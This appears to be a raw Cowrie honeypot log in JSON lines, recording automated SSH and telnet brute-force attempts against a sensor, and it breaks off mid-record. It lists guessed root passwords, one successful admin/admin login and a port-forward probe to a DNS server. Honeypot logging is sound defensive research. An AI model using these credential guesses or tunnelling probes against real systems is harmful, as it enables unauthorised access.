{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39464,"dst_ip":"10.17.0.5","dst_port":23,"session":"d629641fdab0","protocol":"telnet","message":"New connection: 192.119.13.58:39464 (10.17.0.5:23) [session: d629641fdab0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:35:01.962695Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49354,"dst_ip":"10.17.0.5","dst_port":23,"session":"09ce8b577a24","protocol":"telnet","message":"New connection: 192.119.13.58:49354 (10.17.0.5:23) [session: 09ce8b577a24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:35:04.501137Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":51814,"dst_ip":"10.17.0.5","dst_port":22,"session":"e353d973e3e8","protocol":"ssh","message":"New connection: 193.37.70.224:51814 (10.17.0.5:22) [session: e353d973e3e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:35:05.394917Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:35:05.446304Z","src_ip":"193.37.70.224","session":"e353d973e3e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:35:05.507381Z","src_ip":"193.37.70.224","session":"e353d973e3e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sniper","message":"login attempt [root/sniper] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:35:05.870975Z","src_ip":"193.37.70.224","session":"e353d973e3e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:35:06.969024Z","src_ip":"193.37.70.224","session":"e353d973e3e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59874,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d3ac50840b2","protocol":"telnet","message":"New connection: 192.119.13.58:59874 (10.17.0.5:23) [session: 6d3ac50840b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:35:07.106074Z"}
{"eventid":"cowrie.session.closed","duration":0.015129804611206055,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:35:07.120979Z","src_ip":"192.119.13.58","session":"6d3ac50840b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.6639387607574463,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:35:08.164915Z","src_ip":"192.119.13.58","session":"09ce8b577a24","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41696,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f605f7e5cdf","protocol":"telnet","message":"New connection: 192.119.13.58:41696 (10.17.0.5:23) [session: 6f605f7e5cdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:35:09.868744Z"}
{"eventid":"cowrie.session.closed","duration":43.94785666465759,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:35:28.744445Z","src_ip":"192.119.13.58","session":"dbc7f8637aeb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36440,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb473b08bc25","protocol":"telnet","message":"New connection: 192.119.13.58:36440 (10.17.0.5:23) [session: eb473b08bc25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:35:30.710719Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":39026,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a54102c5462","protocol":"ssh","message":"New connection: 103.15.222.183:39026 (10.17.0.5:22) [session: 6a54102c5462]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:35:33.543375Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:35:33.548738Z","src_ip":"103.15.222.183","session":"6a54102c5462","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:35:33.791611Z","src_ip":"103.15.222.183","session":"6a54102c5462","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:35:34.519667Z","src_ip":"103.15.222.183","session":"6a54102c5462","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52520,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f00d97d3683","protocol":"telnet","message":"New connection: 192.119.13.58:52520 (10.17.0.5:23) [session: 5f00d97d3683]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:35:34.770164Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:35:35.764624Z","src_ip":"103.15.222.183","session":"6a54102c5462","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.54315114021301,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:35:44.505694Z","src_ip":"192.119.13.58","session":"d629641fdab0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.83781099319458,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:35:51.706431Z","src_ip":"192.119.13.58","session":"6f605f7e5cdf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.289141416549683,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:36:06.059015Z","src_ip":"192.119.13.58","session":"5f00d97d3683","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36492,"dst_ip":"10.17.0.5","dst_port":23,"session":"9435d5683f0f","protocol":"telnet","message":"New connection: 192.119.13.58:36492 (10.17.0.5:23) [session: 9435d5683f0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:36:06.650929Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48826,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e0343e0665e","protocol":"telnet","message":"New connection: 192.119.13.58:48826 (10.17.0.5:23) [session: 9e0343e0665e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:36:09.850845Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53814,"dst_ip":"10.17.0.5","dst_port":23,"session":"84bd1527e886","protocol":"telnet","message":"New connection: 192.119.13.58:53814 (10.17.0.5:23) [session: 84bd1527e886]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:36:11.115420Z"}
{"eventid":"cowrie.session.closed","duration":2.598538875579834,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:36:13.713813Z","src_ip":"192.119.13.58","session":"84bd1527e886","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.103097915649414,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:36:15.953810Z","src_ip":"192.119.13.58","session":"9e0343e0665e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.643704414367676,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:36:18.354298Z","src_ip":"192.119.13.58","session":"eb473b08bc25","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":43560,"dst_ip":"159.203.135.109","dst_port":22,"session":"c8f859aac9f8","protocol":"ssh","message":"New connection: 103.75.182.198:43560 (159.203.135.109:22) [session: c8f859aac9f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:36:20.052695Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:36:20.057269Z","src_ip":"103.75.182.198","session":"c8f859aac9f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:36:20.303666Z","src_ip":"103.75.182.198","session":"c8f859aac9f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:36:21.034180Z","src_ip":"103.75.182.198","session":"c8f859aac9f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:36:22.279397Z","src_ip":"103.75.182.198","session":"c8f859aac9f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53092,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a1f9ceed994","protocol":"telnet","message":"New connection: 192.119.13.58:53092 (10.17.0.5:23) [session: 6a1f9ceed994]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:36:32.484746Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35406,"dst_ip":"10.17.0.5","dst_port":23,"session":"b32a8593059c","protocol":"telnet","message":"New connection: 192.119.13.58:35406 (10.17.0.5:23) [session: b32a8593059c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:36:35.050458Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49996,"dst_ip":"10.17.0.5","dst_port":23,"session":"b769e7ce96c2","protocol":"telnet","message":"New connection: 192.119.13.58:49996 (10.17.0.5:23) [session: b769e7ce96c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:36:41.780342Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45030,"dst_ip":"10.17.0.5","dst_port":23,"session":"ddf95731b6fe","protocol":"telnet","message":"New connection: 192.119.13.58:45030 (10.17.0.5:23) [session: ddf95731b6fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:36:44.650563Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46156,"dst_ip":"10.17.0.5","dst_port":23,"session":"2126d663d687","protocol":"telnet","message":"New connection: 192.119.13.58:46156 (10.17.0.5:23) [session: 2126d663d687]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:36:44.942614Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42436,"dst_ip":"10.17.0.5","dst_port":23,"session":"40780d5e927b","protocol":"telnet","message":"New connection: 192.119.13.58:42436 (10.17.0.5:23) [session: 40780d5e927b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:36:51.069703Z"}
{"eventid":"cowrie.session.closed","duration":56.06444072723389,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:37:02.714598Z","src_ip":"192.119.13.58","session":"9435d5683f0f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34736,"dst_ip":"10.17.0.5","dst_port":23,"session":"c347387ae366","protocol":"telnet","message":"New connection: 192.119.13.58:34736 (10.17.0.5:23) [session: c347387ae366]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:37:10.777920Z"}
{"eventid":"cowrie.session.closed","duration":40.97388935089111,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:37:13.458518Z","src_ip":"192.119.13.58","session":"6a1f9ceed994","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":36656,"dst_ip":"10.17.0.5","dst_port":22,"session":"aba19786d965","protocol":"ssh","message":"New connection: 87.251.64.176:36656 (10.17.0.5:22) [session: aba19786d965]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:37:13.562535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:37:13.568522Z","src_ip":"87.251.64.176","session":"aba19786d965","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:37:13.689624Z","src_ip":"87.251.64.176","session":"aba19786d965","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:37:14.054351Z","src_ip":"87.251.64.176","session":"aba19786d965","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:37:14.158592Z","session":"aba19786d965","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:37:14.305872Z","src_ip":"87.251.64.176","session":"aba19786d965","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:37:14.622910Z","src_ip":"87.251.64.176","session":"aba19786d965","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.52703094482422,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:37:20.307194Z","src_ip":"192.119.13.58","session":"b769e7ce96c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.797719955444336,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:37:20.848036Z","src_ip":"192.119.13.58","session":"b32a8593059c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.08275890350342,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:37:22.025230Z","src_ip":"192.119.13.58","session":"2126d663d687","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.61480903625488,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:37:31.684366Z","src_ip":"192.119.13.58","session":"40780d5e927b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50858,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d7579d77376","protocol":"telnet","message":"New connection: 192.119.13.58:50858 (10.17.0.5:23) [session: 0d7579d77376]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:37:36.701347Z"}
{"eventid":"cowrie.session.closed","duration":54.087011098861694,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:37:38.737457Z","src_ip":"192.119.13.58","session":"ddf95731b6fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":34570,"dst_ip":"10.17.0.5","dst_port":22,"session":"37680c1400c2","protocol":"ssh","message":"New connection: 46.19.67.181:34570 (10.17.0.5:22) [session: 37680c1400c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:37:43.430174Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:37:43.434660Z","src_ip":"46.19.67.181","session":"37680c1400c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-